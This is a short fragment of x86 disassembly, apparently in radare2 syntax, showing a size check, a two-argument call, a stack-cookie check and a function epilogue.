mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4716d5
push edx
push ecx
call fcn.00536da7
add esp, 8
mov ecx, dword [ebp - 4]
mov al, bl
pop esi
xor ecx, ebp
pop ebx
call fcn.00536b66
mov esp, ebp
pop ebp
ret
call fcn.00552841
int3